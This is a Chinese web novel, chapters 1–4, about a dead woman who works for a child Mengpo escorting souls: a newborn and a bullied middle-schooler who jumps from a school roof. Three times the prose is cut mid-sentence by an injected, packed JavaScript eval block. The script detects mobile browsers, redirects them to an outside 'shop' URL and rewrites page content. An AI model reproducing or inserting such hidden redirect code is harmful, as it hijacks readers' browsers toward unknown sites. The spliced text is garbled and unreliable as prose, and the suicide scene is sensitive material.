《在她死后第七天》 1. 第1章 “怎么还不醒啊……这药劲有这么大吗……” 耳边好像有人在小声絮叨。她眼皮动了动,那声音却消失了。 她缓缓睁开眼睛。 仿佛是躺在一片草地上,身下是柔软的,手摸上去又有些扎人。天空是深色的,没有月亮也不见星星。 这是哪里? 我是谁?我又为什么会在这里? 她用手撑着身子坐了起来。 “你终于醒了!再不起来我就要动手啦!” 又是刚刚那个声音。这次是真真切切在耳边响起。 很清脆的、孩童般悦耳的声音。 她循着声音侧头望去,一个扎着丸子头的小女孩坐在她身边。天太暗,她的眼睛还没适应,只能看出她穿了一身浅色的套装,像过年门上贴的年画娃娃,手里还抱着一个碗,正瞪着圆溜溜的眼睛看着她。 “你是谁?这是哪里?”她问道。 小女孩不做声,凑近了一些仔细打量着她,仿佛在通过她的神情确认她说的是不是真的。许久才说道:“你真的不记得我是谁了吗?” 她摇摇头,“我什么都不记得了,好奇怪,我们认识吗?” 小女孩坐回去,把碗放在手边,好像是松了一口气,“喔,不记得的话就好办了,我来给你介绍一下吧!” 她站起来拍拍屁股,小手一指,“欢迎来到——死亡之后的世界!” 死亡之后的世界?所以我是死了吗? 她顺着小女孩手指的方向看过去,不远处有一座小桥,下面是缓缓流淌的河,远处看不到尽头,不知要流向哪里。 桥的那头好像也是草坪,无边无际,远处被笼罩在雾中,朦朦胧胧,让人捉摸不透。 小女孩见她在听,继续说:“那就是传说中的奈何桥,下面的小河叫黄泉,来的那边是人间,流向的是阴界。” “奈何桥?”她看向小女孩手中的碗,“你是……孟婆?” 小女孩蹙着眉,“你这是什么语气?我不像吗!” “为什么每个看到我的都这么怀疑!谁规定孟婆就得是个老婆婆啦!” 小小的孟婆把碗举起来给她看:“呐,还有个汤底呢,你刚刚就是喝了孟婆汤才睡着的!” 她总觉得对方是个小孩,看她着急下意识就要哄:“没怀疑没怀疑,我相信你的。所以我为什么和你一起在这里呢?” 孟婆把汤碗抱在怀里,“这个就说来话长啦。” “你呢,七天前死了,然后今天来到了我这里。” “按照我们这里的规定,所有死了的人在第七天都要喝下我这一碗孟婆汤,走过奈何桥去对面排队投胎。” “正常来说人死后七天内这一世的记忆就会慢慢变淡,然后被命运指引到我这里来,由我带领他们走个流程,然后就结束这一生啦。” “而灵魂在世上也只能停留七天,如果不在最后一天赶到这里来,就会魂飞魄散永远无法转世啦!” “但是呢,”她话锋一转,“你,是个例外。” “我?”她很疑惑。 “没错!就是你!”孟婆语气有些激动,但又不像是生气。 “你居然什么都没忘记,七天了,你就一直在人间晃荡,我去找你的时候你还不愿意过来呢!” 她现在没有了记忆,像在听别人的故事,“然后呢?你就把我带回来了吗?” 孟婆说:“是呀!像你这样的就必须强制喝孟婆汤啦!你站在桥头还不愿意喝呢,不过凡人怎么能对抗我们神仙呢,所以你就被我灌了孟婆汤然后在这里睡着啦。” 她觉得奇怪,“你刚刚不是说喝了孟婆汤就要过去等待投胎吗?为什么我们现在坐在这里?” 孟婆比了个大拇指,“果然聪明,抓住了疑点。” “不错,按道理来说是这样,但是刚刚咱们也说了嘛,你和常人不一样。” “你在世间的执念太重,所以能一直留在人间,而魂魄则不易消散。” “然后我去看了你的生命线”,孟婆手在她额头上一点,一缕金线从她额头探了出来,“你看,这线还这么长,说明你在这世间的缘分还没有散尽。” “你这样的人最适合游走于阴界和人间。身体已死,可以进入阴界之门,而缘分未尽,能够重返于人世间。” “天上一天人间一年,这里的时间流速不一样,我们每天要管理的亡魂太多了。但有很多人死的时候灵魂的意识已经不清了,没办法自己来奈何桥,就需要你这样的人过去帮我们接他们回来。” 她问道:“所以你是让我来给你打工?” 孟婆“唔”了一声,“按你们的说法就是打工吧,反正就是你被我们地府征用啦!戴上这个,你就可以维持魂魄不散,回人间帮我们引渡亡魂啦!” 孟婆递过来一根手链,红色的编绳,穿了一颗小小的珠子,上面刻了一个“孟”字。 她接过来,却没急着戴上,“我为什么要帮你?你说我是执念太重才一直记得,说明我还有很重要的事情没有完成,但你却把我的记忆清空了。” 孟婆手指一勾,红绳从她手中飞出缠在了她左手腕上,“这是规矩,人死了就要和这一生道别,我每天在这里见过数不清的亡魂,有几个能不留遗憾地离开。” “人生就是这样啊,由数不清的眼泪和遗憾组成。” “但是死了就是死了,没办法起死回生。生不带来死不带去嘛,如果非要记得,会遭到惩罚魂飞魄散哦~” 孟婆冲她做了个鬼脸,“所以我是在帮你呀。” “不过你也别担心,我们不会白让你做事的。” “你帮我们引渡亡魂,其实也是在积累善缘。等你将这一世的缘分熬尽了之后就得去投胎转世了,到时候可以优先挑选下一世的投胎情况哦~可以去个好人家呢!” “运气再好一点的话你可以许个愿,说不定这一生未尽的执念可以延续到下辈子继续哦~” 孟婆冲她眨眨眼,她低头看着手腕上的红绳,用手去触碰珠子的时候那个“孟”字仿佛在发着金光。 虽然很荒谬,但是确实找不出漏洞。而且她的记忆真的被清空了,她来自哪里,今年多大,叫什么名字……她真的一点都不记得了。 而面前这个自称孟婆的小女孩……不知道为什么,孟清秋天然就对她有好感。 那不如就听孟婆的,接下这份工作,还有机会回到人间,说不定有机会想起些什么。 她点点头:“好。需要我做什么?” 孟婆笑起来,“我就说没人能拒绝这份工作!” 孟婆给了她一个空白的册子,“有人需要你的时候,这本书就会出现文字,告诉你是什么人以及在哪里,你按照上面的信息去找到他,想办法带回来就行了。” “一般情况下都是比较好处理的,他们最多只是神志不清,你哄一哄劝一劝,让他们跟着你走就好啦。” “偶尔会有比较难对付的人,唔,这个等你遇到的时候再说吧,概率很小的。总之没法处理的话就来这里找我!” 孟婆手向上一伸,她这才注意到她们头顶是一棵参天大树,一片叶子发着光从树上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482488|201829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飘落,被孟婆稳稳接住。 “这是黄泉树的叶子,拿着它,你就可以自由进出阴界之门了。它会指引你回来的路。” 孟婆看着她,“死后不问生前事。你如今记忆全无,我给你重新起个名字吧。” “现在外面是秋天呢,我见到你的时候,路上全是金黄的落叶。” “你就叫——孟清秋。怎么样?” 她拿着黄泉叶低声重复了一遍:“孟清秋?我叫——孟清秋。” 孟婆拍拍手,像个天真无邪的小女孩:“是不是很好听!” “对啦,你可以叫我奈奈,奈何桥的奈,如果遇到没法处理的情况,就对着叶子呼唤我的名字,我就会出现帮你啦!” “或者你回到这里,我就在奈何桥边等着你。” 黄泉叶变成了小小一片,硬硬的,像金子雕琢出来的装饰品。孟清秋把叶子收好,点头应下,“好。” 她站了起来,才发现自己没有穿鞋。光脚踩在柔软的草地上,身上穿着一条纯白的裙子,漆黑的长发垂落在肩上,显得她那么瘦弱,好像风一吹就会飞走。 或许是死了的缘故,她的脸色有些苍白,就连皮肤好像也近乎透明,但那根刻着“孟”字的红绳绑在她手腕上,让她感受到一股力量牢牢将她的灵魂栓住了。 她什么也不记得,什么也没有,唯有灵魂还存在于这世间,要去探索,去继续向前走着。 孟清秋看向奈奈,她仍捧着碗站在原地:“那么,我现在要去人间了吗?” 奈奈只有她的腰那么高,抬起头看着她:“就呆在这里也可以,如果没有人需要你的话。” “虽然你可以自由往返人间与阴界,但毕竟你已经死了,我建议你还是多待在这里。死人在阳间呆久了难免会不舒服的。” “对了,你去人间的时候虽然普通人看不到你,但是你尽量还是和人类保持距离。” “你身上的死气太重,和人类接触多了会影响他们的寿命。” 孟清秋摸着珠子,“听起来是很孤独的工作呢。” 奈奈说:“是呀,我们都在做很孤独的工作呢。像你这样的人很多年才会出现一个,大多数时候还是得靠我们忙来忙去,连个说话的人都没有。” “还有的时候好不容易来了一个你这种体质的人,人家居然还不愿意帮忙!我们开的条件这么诱人,他硬要说我们不讲理,把他的记忆给强制清除了!” 奈奈想起了不愉快的事情,小脸都气得鼓了起来,“可是这就是规矩啊!我能有什么办法?” 孟清秋越看越觉得她像个孩子,莫名地感到亲切,“每个人的想法不一样吧,就算是清除了记忆,骨子里的性格也还是在的。” 奈奈点点头,“是呀,我们也不能强迫人家做事嘛,就只能自己辛苦一点啦。” 她像是无聊久了,终于来了个可以说话的人,这会儿激动地突然抓着孟清秋的手,“清秋!你真好!你帮我分担了不少工作呢呜呜呜呜……” 孟清秋任由她拉着自己的手,温柔地笑着不说话。 她当然也有私心,或许她就是这样的人,她骨子里的性格就是如此——即使奈奈说了她的记忆已经被清除,但哪怕有一点希望、一点可能,她都想要去尝试。 她想找回自己的执念。 那一定是很重要的东西,才会让她在死后流连在人世间。 况且命运给了她第二次机会,既然她和这世间的缘分仍未消散,那她就更要好好把握这份幸运。 不管生前如何,这一次,她想要找回自己。 2. 第2章 孟清秋的第一个任务很快就来了。 奈奈没能逗留多久,在这里一天就能积累人间一年的亡魂,很快来投胎转世的灵魂就排起了长队,奈何桥那边人影绰绰,她抱着汤碗哒哒哒地跑走了。 孟清秋百无聊赖地坐在黄泉树下,没有记忆脑子里就一片空白,她甚至没法放空自己去胡思乱想,因为根本没有思考的源头。 她只能等待,好在她足够有耐心,在这一片昏暗中,她就这样静静坐在树下。 好在她并没有等待太久,那本小册子突然在她怀里动了动,随即飘在半空中亮了亮。孟清秋指尖轻轻一点,那小册子自动翻开了第一页,上面写着“死者:无名氏”,还有一个地址,B市中心医院。 孟清秋收起册子,将黄泉叶拿出来攥在手心,在心中默念那个地址。黄泉叶感受到了她的念头,像有人牵着她一般带着她朝着一个方向走去。 她就这样顺着河流的来向一步步走着,重新迈入这繁华的人世间。 · B市中心医院。 抢救室的门开了道缝,穿着手术服的医生从里面闪身出来,门立马被关上了,将里面几道忙碌的身影挡得严严实实。 女人被丈夫扶着试图朝里面张望,还没等看清就被医生挡住了,她顿时不再探头,转而抓住了医生的胳膊。 “怎么样了大夫?我的孩子怎么样了?” 医生比她高上许多,垂下眼看着这个有些矮小的女人,她还没出月子,因为在外面站得太久的缘故脸色有些苍白,看起来弱不禁风,但抓着他的手却那么有力。 她的丈夫搀扶着她,男人的脸上饱经风霜,听护士们说他在工地上干活,家里也不宽裕,但妻子生产的时候还是把攒了很久的钱拿出来住上了他们能住的最好的病房。 尽管见多了这样的场景,他还是觉得接下来的话有些难说出口。 但必须有人告诉他们这个消息。 “很抱歉,我们已经尽力了,但……” 戴着口罩的医生轻轻叹了口气,望着面前这对互相支撑着的夫妻,将剩下半句话咽了进去,不愿说出这残忍的事实。 但所有人都听懂了他没说完的那半句话。 女人抓住他的手松了松,像是在消化这个事实,“您说什么……” 胳膊上的力道忽地又一紧,女人向前踉跄了一步,挣脱了丈夫的怀抱,把医生和她丈夫都吓了一跳。 男人连忙去扶住妻子,生怕她跌倒,妻子却只顾着抓住医生,仿佛这是她最后的救命稻草。 “您说我的孩子……我的孩子没了吗?” “不……不可能,他明明生下来的时候还是好好的啊,你们不是都说他哭得很大声,一定是个健康的孩子吗?” “他怎么会,怎么会就这短短几天就……” “医生!”她抬头看着医生的眼睛,脸上已经糊满了泪,“您妙手回春,救救我的孩子,救救他吧求你们了!” 她号啕大哭起来,手也不自觉地加了力道,医生被攥得有点疼,但并没有将她拉开,只是轻声又重复了一遍:“真的很抱歉,但是孩子确实是不在了。” 这次说得很清楚了,女人虽然在哭,但也实实在在听懂了医生的话。 医生只觉得胳膊一松,女人的手无力地垂下去,连带着人都要滑向地上。 她的丈夫也在强忍着泪水,此时竟是没有托住,幸好医生早有准备,抓着她的另一边胳膊把她扶住了,和她丈夫一起将她搀到一旁的凳子坐下了。 “孩子待会儿就出来了,二位节哀。” 医生暗暗叹了口气,怀胎十月的孩子,生下来却没活到一个月,任谁看了能不难受。 妻子早已哭到失声,倚在丈夫的肩头抽搐着。丈夫搂着她的胳膊微微颤抖,强撑着才没有哭出声来,但也已经满脸是泪。 两个人互相依偎着坐在椅子上,是那么脆弱,好像轻轻一阵风就能将他们吹倒。 抢救室的门又开了,一张床被推了出来,白布下是小小的一团,看起来那么轻,那么柔软。 那是他们的孩子。 原本该是多么幸福的小小家庭,尽管不是很富裕,可父母对这个孩子倾注了全部的爱。 他们是那么盼望着他出生,无数次畅想过要如何陪伴他成长。 他会拥有一个全世界做饭最好吃的妈妈,一个下了班给他带各种零食的爸爸。他们会牵着他的手送他上学,周末的时候全家一起去游乐场玩。 可是他的生命像昙花般短短一现。 才刚出生就感染了新生儿肺炎,小孩子免疫力太弱,又引发了一系列病症。爸爸妈妈甚至没有好好抱一抱他,好好看他一眼,他就被送进了抢救室。 坚持了一周,最后还是无能为力。 夫妻俩趴在床边痛哭,医生拍了拍丈夫的肩膀,用眼神示意其他人离开,将这方小小空间留给这对夫妻和他们的孩子。 孟清秋站在走廊尽头静静看着这一切。手中的黄泉叶有些躁动,提醒着她要接的人就是那个婴儿。 怪不得叫“无名氏”。 他的父母还没来得及给孩子取名,他还没来得及看看这世界,这个小生命就这样短暂地来过又离开了。 床上的白布被母亲颤抖着手掀开,一张毫无生气的小脸露了出来,她抚摸着孩子的脸颊,“宝宝,没想到第一次仔细看你的脸,居然是在这样生离死别的时候。” 小小的孩子安静躺在那里,孟清秋看到那个鼓起的被子变得有些透明,那个小小的灵魂终于在□□死去后脱离了出来。 他太小了,没办法自己走到奈何桥,孟清秋快步上前将他抱起,然后迅速退回安全距离,避免自己身上的死气影响到了悲痛欲绝的夫妻。 这是孟清秋记忆里第一次直面死亡,她又想起了奈奈说过的话——“有几个人能没有遗憾”。 怀里的婴儿魂魄感受到了同类的气息,安静地在她怀里躺着。孟清秋想,你也有遗憾吗?没能和父母一起好好长大。 那对夫妻还趴在床边哭着,孟清秋不知道人死之后消除记忆,还能不能有共情的能力。 但她的心好痛,她也在为那对夫妻、为怀里这个小小的生命流泪。怀里的灵魂没有什么重量,可是那具婴孩的身体还在病床上躺着,是那么真实地存在着。 孟清秋打算离开。 这里的哭声太惨痛,明晃晃的白炽灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482489|201829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照得她喘不过气来。 她抱着孩子往外走,医院来来往往的人有很多,往哪里好像都不可避免地会接触到活人。 她来的时候走的是消防通道,那边连灯都没开,也没什么人会从那里走,她抱着孩子朝楼梯间走去。 刚下了一层,从下面远远传来说话声—— 有人在顺着楼梯朝上走。 虽然没人看得见孟清秋,但她还是吓了一跳,下意识地想出去。结果消防通道的门那头也隐隐传来说话声,孟清秋只好站在一个离楼梯和门都远一点的墙角,等着那两个人离开。 脚步声越来越近,说话声也逐渐清晰。 “哎呦,这电梯这会儿怎么就这么堵,也是好久没爬楼梯了,我这老胳膊老腿的真是走不动。” “这个时间点人就是很多,要不是正好赶上开会了咱们也不用急着上去。” “你还别说,今天真是点背,来的路上也堵车了,本来时间挺充足的,就这么耽误了。” 两个男人从下面一层拐了上来,年长的那个头发稀疏,戴着眼镜,一副学术精英的样子。年轻点的那个穿着白色衬衫,利落的短发露出额头,眉眼深邃鼻梁高挺,落后那年长者一步走在下一级。 看着干干净净的,还挺帅。 孟清秋抱着孩子在心里评价道。 那年长者问道:“小顾啊,你这次出来学习,孩子给谁带?” “小顾”说:“在小棠她妈那里。” 那老头“哎呦”了一声,脸色也不知道是尴尬还是什么,总之拍了拍小顾的肩膀,不说话了。 倒是小顾看他一脸纠结,开口说:“没事的主任,我知道你们都是关心我,小棠也走了这么久了,但是孩子还小,我还得把她养大。” 主任叹了口气,“唉,还是觉得不敢相信啊,你说说,这么年轻一个小姑娘,怎么就……” “小顾,该说的我们都说了很多遍了,总之带着孩子好好过下去,家里还有老人,都好好的啊。” 小顾点了点头,仔细看其实表情也有些勉强,“一定。” 孟清秋目送着他们上去,仗着没人能看见自己默默偷听。 这么一个帅哥,看起来好像也就三十多岁,怎么听起来好像丧偶了啊,还留了个孩子。啧啧啧,果然人间众生百态,不幸的家庭各有各的不幸。 还有她自己,既然执念这么重,生前应该也有很多遗憾吧,也不知道她自己又在牵挂着谁。 怀里的小魂魄已经睡着了,孟清秋摸了摸他的脸,“走吧,下辈子投个好胎,要幸福一点。” 她抱着孩子走出医院,在奈奈那儿呆了大半天,人间已经又换了几季,这里已经春暖花开。 死人是没有温度的,但走在街上被阳光照着,她仿佛也感受到一丝温暖。 路上行人匆匆,每个人背后都是一段故事,有的人家庭美满事业有成,也有人经历了生离死别,背负着期待和希望努力活着。 孟清秋脚步不停,路过一个又一个还活着的、为了生活在奔波着的人。 阴界之门在常人看不见的地方静静打开,孟清秋抱着孩子,无声无息踏了进去,暂时告别了春光灿烂的人间。 3. 第3章 孟清秋带着孩子回去的时候奈奈正在奈何桥边站着。 那个汤碗自己飘在空中,在她的操控下在人影之间飞来飞去,突然又变出好几个分身装满了孟婆汤给排队的灵魂喝下去。 喝了孟婆汤的魂魄通常会先放空一会儿,怔住了似的望着前方,然后被看不见的命运之手指引着过了桥,走进那片浓雾。 奈奈忙得焦头烂额,即使是汤碗有法术,她还是得在这儿盯着。看到孟清秋抱着孩子回来才露出个笑脸,冲她招了招手。 孟清秋走到她身边,把孩子给她看,“带回来了,然后要怎么做呢?” 奈奈扒着襁褓看了眼孩子,“唔,你办事效率还挺高。” 她扬手一招,汤碗被她拿在手中,变成一个小小的奶瓶,里面盛了半瓶孟婆汤变成的奶。 孟清秋想,还挺会变通。 她半蹲下来方便奈奈操作,奈奈小心翼翼把奶瓶凑到婴儿嘴边,小孩已经在孟清秋怀里嗦了半天手指,这会儿有了东西立马咬住了,津津有味喝了起来。 喝着喝着速度慢了下来,奈奈说:“开始起效了。” 她又凭空一挥,变出来一个小木盆,“把他放在这里吧,黄泉会送他去投胎的。” 她把小木盆推进河里,木盆带着这个连名字都没有的孩子漂远了。 那魂魄好似终于回过神来,发觉自己离开了同类的怀抱,正在陌生又黑暗的地方摇摇晃晃,终于发出了惊天动地的哭声。 奈何桥这边的魂魄大都卡着最后一天过来,每个人都非常沉默,此时只能听到那孩子嘹亮的哭声在阴界回荡。 孟清秋站了起来,望着木盆漂走的方向,“我见到了他的父母。” 奈奈饶有兴趣地看着她的脸,试图分析她的神情,“然后呢?” 孟清秋收回目光看着她:“你知道他会投什么胎吗?他还有没有机会再做他父母的孩子?” 奈奈摇摇头:“这就不是我责任范围内的事情啦。但是也有可能,一切都有命运安排~如果他和他爸妈之间的缘分未尽,还是很有可能再次团聚哦~” 又是缘分,缘分牵绊住了多少人,让这命运也变得捉摸不透。 奈奈扯了一下孟清秋的袖子,还有话要说:“嘿,孟清秋,你是不是觉得这家人很可怜啊。” 孟清秋看着她,“嗯,看到他的父母哭着求医生再救救他,趴在他已经冷掉的身体旁站不起身,就觉得这家人好惨,他们还没来得及给孩子取名,孩子就不在了。” “怀胎十月,那么期待这个小生命的到来,还没看上几眼,没想到就是永别。” 奈奈碰了碰她的手,似乎想安慰她,但说出来的话却换了个意思,“我能理解你的心情,其实我还有事情没告诉你。” “能被选中做这份工作的人,不仅仅是执念太深和世间还有缘分的人,还需要他们善良、强大,有很深的共情能力。这样才能和那些需要帮助的灵魂产生共鸣。” “但是我也想提醒你一句,人间的悲欢离合太多了,如果每一个人你都要共情一次,为他们伤心一次,是很痛苦的。” “你会不断接收负面情绪,虽然你已经死了,但是你的情感仍然存在,所以负面情绪太多会很难受哦。” 她看着孟清秋的眼睛,那是一双很温柔的眼睛,纤长浓密的睫毛遮住眼里那汪湖泊,好像能包容世间万物。 “总之你把握好分寸,既然你已经来了这里,那就少不了要看到生离死别,我可是好不容易才等来一个陪我上班的人,你可别把自己作坏了来找我哭!” “人类的情感都可泛滥了!我天天接待亡魂耳朵都要听得起茧子了,你可不要像他们一样再烦我了!” 奈奈嘴一撇,看似嫌弃,实则话里都是关心。 孟清秋接受了她的好意,看她嘟着嘴圆乎乎的小脸,没忍住戳了一下,笑弯了眼睛,“好,谢谢你。” 奈奈眼睛一瞪,一句“别把我当小孩”还没说出口,那册子又从孟清秋怀里飞了出来。 两个人一齐凑过去看,这次的地址是一个学校—— S市一中初中部,张子辰。 “初中生?”孟清秋奇怪,“这个年龄应该有自己的意识了吧,还需要我去接吗?” 奈奈说:“正常来说的话人死了灵魂脱离□□,最开始都是很茫然的。但是因为人都有羁绊,他们大多数会在人间停留七天,想看看自己的亲人朋友,然后到了后面记忆越来越混乱,就会被命运指引过来。” “如果这个小孩什么事都没有但是又需要你去接,可能就是他不想在人间呆了,但是他还没感应到如何来这里,所以命运就安排你去给他带一下路啦。” 奈奈拍拍孟清秋的胳膊,“去吧,其实需要你的情况还挺多的,你也有的忙啦。” · 顾思瑶这个月刚上小学一年级。 她被就近安排在一中的小学部,如果成绩好的话,会顺利地去读一中初中部,然后是高中部。 一中是重点学校,因为初中部和小学部在一起的缘故,校区很大,有很多家庭哥哥姐姐在初中部读书,弟弟妹妹在小学部上课,放学了哥哥姐姐就会过来接弟弟妹妹一起走。 顾思瑶没有哥哥姐姐。 今天同桌的小女孩感冒了中午没有吃饭,下午她哥哥从初中部过来给她买了牛奶面包。 小女孩一口面包一口牛奶,吃得嘴边一圈白渍,“有哥哥真幸福啊!牛奶还是热的呢!” 顾思瑶不置可否。 她只有在过年的时候才会见到亲戚家的哥哥,不是坐在沙发上捧着手机打游戏就是在外面疯跑,顾思瑶从来不跟他们一起玩。 所以她并不觉得哥哥有什么好的。 但是同桌吃的很开心,并且她生病了,于是顾思瑶点点头认同了她:“有哥哥在可以吃到热乎乎的面包和牛奶。” 大课间做完了操,同桌在教室里休息没有下来,顾思瑶自己在外面溜达。 离上课还有好一会儿,顾思瑶去超市买了瓶牛奶,一边喝一边沿着路边慢慢走。 秋天到了,枫叶落了满地,脚踩在叶子上“沙沙”作响。手里的牛奶是温热的,每天早上爸爸都会给她装好零花钱让她在学校买好吃的。 顾思瑶咬着牛奶的吸管想,有爸爸比哥哥幸福多了,可惜爸爸今天要加班,她得在教室里多等爸爸一会儿。 不过爸爸说下班了带她去吃麦当劳。 她爸爸是医生,可注重她的饮食习惯了,麦当劳这种快餐很长时间才能吃上一次,所以顾思瑶今天很开心。 她专注地盯着路面踩树叶,想到晚上可以去吃薯条汉堡,脚步都轻快了不少。 这条路连接着初中部和小学部,大课间两个部都在操场活动,这会儿路上来来往往的人很多。 顾思瑶今天穿了双新鞋,她不太会系鞋带,爸爸教了她几次都没学会,这会儿被她踢踏了半天居然散开了。 她蹲下身子想要试着把鞋带系上,没注意到前面传来的喊声—— “小朋友快闪开!” 几个初中生抛着篮球准备去上体育课,打闹间球一下子脱了手,冲着顾思瑶就飞了过去。 “砰!” 顾思瑶感觉有双脚停在自己身边,一双手从她头顶伸了出来一把扣住了那个篮球,然后一扬手抛了回去。 “下次小心点,人多的地方很容易误伤。” 那几个初中生把球抱好松了口气,“谢了兄弟!” 顾思瑶抬头,对上一双笑着的眼睛。一个穿着初中部校服的小哥哥插着兜看着她,“小妹妹没事吧?刚刚你差点被篮球砸到了。” 顾思瑶在他接住球之后才反应过来,这会儿也是吓得不轻,忙站起来道谢:“谢……谢谢哥哥。” 初中部的哥哥翻了翻兜,摸出来一根棒棒糖递给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482490|201829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,“下次走路要注意哦,被球砸到可是很疼的。” 顾思瑶摆摆手没收棒棒糖,好奇道:“哥哥,你被球砸到过吗?” 男孩点点头,“是呀,有一次和你一样没有认真看路,就被飞过来的球砸到头啦,可把我疼坏了。” 他咧了一下嘴,做了一个“很痛”的表情,把顾思瑶逗得笑了出来,总算是把刚刚害怕的劲给过去了。 他低头看到顾思瑶的鞋子,大概猜到她刚刚专心致志蹲在地上到底在干什么,“你不会系鞋带吗?” 顾思瑶觉得不会系鞋带有点丢人,正想找个理由糊弄过去,没想到那个哥哥直接蹲下来帮她系上了,“好啦,你别乱甩鞋,应该能维持到晚上放学的,不会再散啦。” 他站起身把棒棒糖塞到顾思瑶手里,“快回去上课吧,我要走啦。” 没等顾思瑶再说什么,他轻轻摸了下顾思瑶的头,然后向着反方向跑远了。 顾思瑶捏着棒棒糖,鞋子上的蝴蝶结很漂亮,她想,有些哥哥确实是很好的。 张子辰跑回了初中部。 耽误了一点时间,等他跑到顶楼的教室已经打完了上课铃。 这节课是他最讨厌的外语课。老师上课全英文教学,他经常听不懂以至于跟不上节奏。 英语成绩当然也不好,所以老师也不太喜欢他。 张子辰跑到门口喊了声“报告”,英语老师正让同学翻页,被打断后皱了皱眉,看着张子辰跑得有些凌乱的头发和脸上的汗珠,“大课间这么长时间还迟到,又跑哪里混着玩去了?把书拿着站外面去听。” 张子辰张张嘴,终究是没有解释,走到最后一排拿出英语书往教室外走去。 中间有个同学伸腿想绊他一下,被他跨了过去,背后轻轻响起一句“真没劲”,还有老师喋喋不休的唠叨:“都初三了,能不能长点心啊同学们!下课就不要到处跑着疯玩啦,多在教室背几个单词成绩不就能提起来几分吗?” 张子辰把教室里乱七八糟的声音抛在脑后,把书垫在窗台上趴着。 在窗外更加听不懂老师在讲什么,他索性翻到最后面的单词自己背起来。 不知道什么时候感觉有人在他身后叹了口气,张子辰吓了一跳,回过头发现是班主任在他背后。 “怎么在外面罚站?” 张子辰说:“上课迟到了。” 他没打算解释,班主任也没想听他解释,“张子辰,你都初三了,能不能努努力?你弟弟在初二可是年级第一,你这个当哥哥的本来应该是给弟弟做榜样的,你看你弟弟多优秀……” 张子辰站得有些头晕,班主任的脸在他眼前慢慢模糊,他只能看到那张嘴开开合合。过了一会儿又慢慢聚焦,班主任不知道什么时候不说话了,脸凑得很近瞪着他。 “怎么又走神了?有好几个老师跟我反映过你这个问题了,你之前不是说上课听不懂吗?那怎么还不专心听老师说话!” 张子辰低下头不吭声了。 下课铃响了,英语老师走出来,班主任看了她一眼,两个人一同往办公室走去,同时小声说着话,不用想也知道又在将那些有关他的“劣迹”。 后面的课张子辰一直没离开教室,像个隐形人一般“焊”在自己的座位上。 五点半放学,最后一堂课的老师不爱拖堂,大家陆陆续续离开了教室,张子辰没有动。 六点钟,校园里人已经很少了,张子辰慢慢站起身,收拾好书包扛在肩上。 六点一刻。 初中部教学楼的顶楼,一个小小的身影在天台边缘徘徊了很久,终于像是做下了什么决定,往天台边迈了一步。 一道蓝色的身影直直坠了下去,在教学楼前的空地上重重落下。 男孩双眼紧闭,安静地躺在地上,身下绽放出一朵红色的血花。 远处的人群安静了一瞬,然后“轰”地炸开了喧嚣。 4. 第4章 顾聿怀今天有台手术,等他赶到学校接顾思瑶的时候已经快六点半了。 他提前告诉了顾思瑶让她去办公室等着,刚刚下班的时候和顾思瑶的班主任通了电话,顾思瑶和几个小朋友一起在办公室写作业,因此顾聿怀向门卫登记后就直接去了教学楼的一年级办公室。 顾思瑶坐在靠窗的位置很专注地拿着笔在纸上写字。每个小朋友都找了个位置坐着乖乖写作业,老师则在靠近门口的地方备课。 顾聿怀轻轻敲了敲门,屋里大人小孩一齐抬起头看着他,他冲老师点了点头,“周老师,我来接念念回家。” 周老师笑着站起来,“顾思瑶,你爸爸来了。” 顾思瑶看到爸爸就收好了小书包,这会儿背好了从椅子上跳下来,跑过来牵着爸爸的手:“老师再见!” 顾聿怀一手牵着顾思瑶一手拎着她的小书包,听她讲今天学校里面发生了什么事情。 “爸爸,今天我在路上系鞋带,差点被一个很大的球砸到了!” 顾聿怀吓了一跳,赶紧蹲下来看她身上有没有伤,顾思瑶又说:“我没事的爸爸!有一个小哥哥帮我把球拍过去啦!” 她从兜里掏出一根棒棒糖:“你看!这是小哥哥给我的!” 她又指了指自己的鞋:“鞋带也是小哥哥帮我系上的!” 顾聿怀见她没事才放下心,“那念念有没有谢谢哥哥?” 顾思瑶点点头:“当然啦!可惜他很快就走了,不然我还想请他喝可乐呢!” 可乐也是顾思瑶被限制享用的东西,因此她总是十分珍惜。 顾聿怀牵着她继续往停车场走,“没关系,念念下次见到哥哥了再请他喝就好啦。” 顾思瑶点点头:“嗯!” 校园里这会儿除了加班的老师,已经不剩什么人了,整个校园显得格外寂静。 顾聿怀带着顾思瑶沿着步行道慢慢走,只听见校门口一阵急救车的响声打破了寂静,车驶入校门,呼啸着开往初中部那边。 顾思瑶说:“爸爸,这是不是你们医院的车呀?是有人生病了吗?” 顾聿怀说:“或许吧,可能是初中部那边有人突然生病了,所以才打了120急救电话。” 